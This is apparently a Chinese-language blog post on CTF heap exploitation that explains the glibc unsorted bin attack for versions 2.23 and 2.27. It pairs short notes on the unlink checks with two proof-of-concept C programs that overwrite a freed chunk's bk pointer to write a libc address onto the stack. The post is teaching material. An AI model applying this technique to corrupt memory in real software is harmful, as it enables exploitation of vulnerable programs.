Unsortedbin attack

黎 浩然/ 4 6 月, 2022/ PWN, 安全/SECURITY, 计算机/COMPUTER/ 0 comments

glibc-2.23

Unsortedbin attack就是关于unsortedbin的unlink attack。还记得unlink的基操吧,就是:

p->fd->bk=p->bk       //(1)
p->bk->fd=p->fd       //(2)

如果我们能够通过UAF等漏洞改变unsortedbin中的某个chunk的bk字段,使其指向某一个可打印的变量的低地址处。那么最终该变量能够泄漏处main_arena的地址,从而泄漏处libc的地址。

#include <stdio.h>
#include <stdlib.h>

int main(){
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\\n\\n");

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\\n");
	fprintf(stderr, "%p: %ld\\n\\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\\n\\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\\n");
	fprintf(stderr, "%p: %p\\n", &stack_var, (void*)stack_var);
}

glibc-2.27

Unsortedbin attack就是关于unsortedbin的unlink attack。还记得unlink的基操吧,就是:

p->fd->bk=p->bk       //(1)                           
p->bk->fd=p->fd       //(2)

当然我们还需要了解unlink unsortedbin的时候那个奇葩的检查:

并且会进行如下检查(需要通过检查的条件):

p->fd->bk==p && p->bk->fd==p

还有堆融合时引起的unlink那一个检查;还记得我们之前讲过:当将要free进unsortedbin的chunk尝试向前融合的时候,unlink前面的free chunk的时候不会检查那个chunk的size域是否与当前的chunk的prev size域相等。而只是检查当前的chunk的prev size域并根据其大小来决定前面的chunk的位置并修正前面的chunk的size域。但是必须要有与那个size对应的prev size在对应的位置上。

不过,不过,不过:这些都是堆融合时引起的unsortedbin chunk的unlink的时候才会进行的检查。一般地,仅仅从unsortedbin 中取出一个chunk用于malloc的返回是不会进行上述检查的。

下面的poc就是基于这个事实的:

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
	fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
		    "glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
		    "instructions.\\n");

	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\\n\\n");

	volatile unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\\n");
	fprintf(stderr, "%p: %ld\\n\\n", &stack_var, stack_var);

	unsigned long *p=malloc(0x410);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\\n\\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\\n\\n",(void*)p[1]);

	//------------------------------------

	malloc(0x410);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\\n");
	fprintf(stderr, "%p: %p\\n", &stack_var, (void*)stack_var);

	assert(stack_var != 0);
}

Share this Post

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注

*
*